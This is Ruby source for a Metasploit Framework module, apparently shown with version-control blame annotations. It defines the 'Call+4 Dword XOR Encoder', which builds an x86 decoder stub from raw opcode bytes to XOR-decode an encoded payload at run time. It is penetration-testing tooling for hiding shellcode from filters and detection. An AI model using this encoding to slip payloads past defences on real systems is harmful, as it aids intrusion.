2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-07-10 20:49:13 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Encoder::Xor
|
2005-07-10 20:49:13 +00:00
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Call+4 Dword XOR Encoder',
|
|
|
|
'Description' => 'Call+4 Dword XOR Encoder',
|
|
|
|
'Author' => [ 'hdm', 'spoonm' ],
|
2005-07-13 18:54:41 +00:00
|
|
|
'Arch' => ARCH_X86,
|
2006-01-21 22:10:20 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-07-10 20:49:13 +00:00
|
|
|
'Decoder' =>
|
|
|
|
{
|
|
|
|
'KeySize' => 4,
|
|
|
|
'BlockSize' => 4,
|
|
|
|
})
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Returns the decoder stub that is adjusted for the size of
|
|
|
|
# the buffer being encoded
|
|
|
|
#
|
|
|
|
def decoder_stub(state)
|
2010-04-30 08:40:19 +00:00
|
|
|
decoder =
|
2005-07-10 20:49:13 +00:00
|
|
|
Rex::Arch::X86.sub(-(((state.buf.length - 1) / 4) + 1), Rex::Arch::X86::ECX,
|
|
|
|
state.badchars) +
|
|
|
|
"\xe8\xff\xff\xff" + # call $+4
|
|
|
|
"\xff\xc0" + # inc eax
|
|
|
|
"\x5e" + # pop esi
|
|
|
|
"\x81\x76\x0eXORK" + # xor [esi + 0xe], xork
|
|
|
|
"\x83\xee\xfc" + # sub esi, -4
|
|
|
|
"\xe2\xf4" # loop xor
|
|
|
|
|
|
|
|
# Calculate the offset to the XOR key
|
|
|
|
state.decoder_key_offset = decoder.index('XORK')
|
|
|
|
|
|
|
|
return decoder
|
|
|
|
end
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|